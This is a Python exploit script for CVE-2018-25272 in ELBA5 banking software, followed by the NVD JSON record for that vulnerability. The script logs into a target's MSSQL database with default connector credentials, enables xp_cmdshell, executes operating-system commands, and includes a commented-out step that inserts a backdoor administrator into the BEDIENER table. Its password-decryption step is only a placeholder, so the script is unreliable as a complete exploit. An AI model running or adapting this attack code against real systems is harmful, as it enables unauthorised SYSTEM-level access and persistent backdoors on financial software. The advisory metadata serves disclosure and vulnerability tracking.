CVE-2018-25272

import pymssql # Configuration host = 'TARGET_IP' user = 'DEFAULT_CONNECTOR_USER' # e.g. 'elba_user' password = 'DEFAULT_CONNECTOR_PASS' db_name = 'ELBA_DB' def exploit(): try: # Step 1: Connect using default connector credentials print(f"[*] Connecting to {host}...") conn = pymssql.connect(host, user, password, db_name) cursor = conn.cursor() print("[+] Connection established!") # Step 2: Decrypt DBA password (Logic depends on specific implementation) # Assuming we retrieved and decrypted the DBA password dba_password = "decrypted_dba_password" print("[+] DBA password decrypted/obtained.") # Step 3: Reconnect as DBA or execute commands if current user has rights to enable xp_cmdshell # In this scenario, we assume the connector user has rights to escalate or we switch context # Enable xp_cmdshell enable_cmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" cursor.execute(enable_cmd) conn.commit() print("[+] xp_cmdshell enabled.") # Step 4: Execute arbitrary command cmd_to_exec = 'whoami' sql_cmd = f"EXEC master..xp_cmdshell '{cmd_to_exec}'" print(f"[*] Executing command: {cmd_to_exec}") cursor.execute(sql_cmd) rows = cursor.fetchall() for row in rows: print(row[0]) # Step 5: Add backdoor user to BEDIENER table # add_user_sql = "INSERT INTO BEDIENER (username, password, is_admin) VALUES ('hacker', 'password', 1)" # cursor.execute(add_user_sql) # conn.commit() # print("[+] Backdoor user added.") conn.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2018-25272", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:48.143", "lastModified": "2026-04-29T20:46:33.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ELBA5 5.8.0 contains a remote code execution vulnerability that allows attackers to obtain database credentials and execute arbitrary commands with SYSTEM level permissions. Attackers can connect to the database using default connector credentials, decrypt the DBA password, and execute commands via the xp_cmdshell stored procedure or add backdoor users to the BEDIENER table."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-326"}]}], "references": [{"url": "https://www.elba.at", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45905", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/elba5-remote-code-execution-via-database-access", "source": "[email protected]"}]}}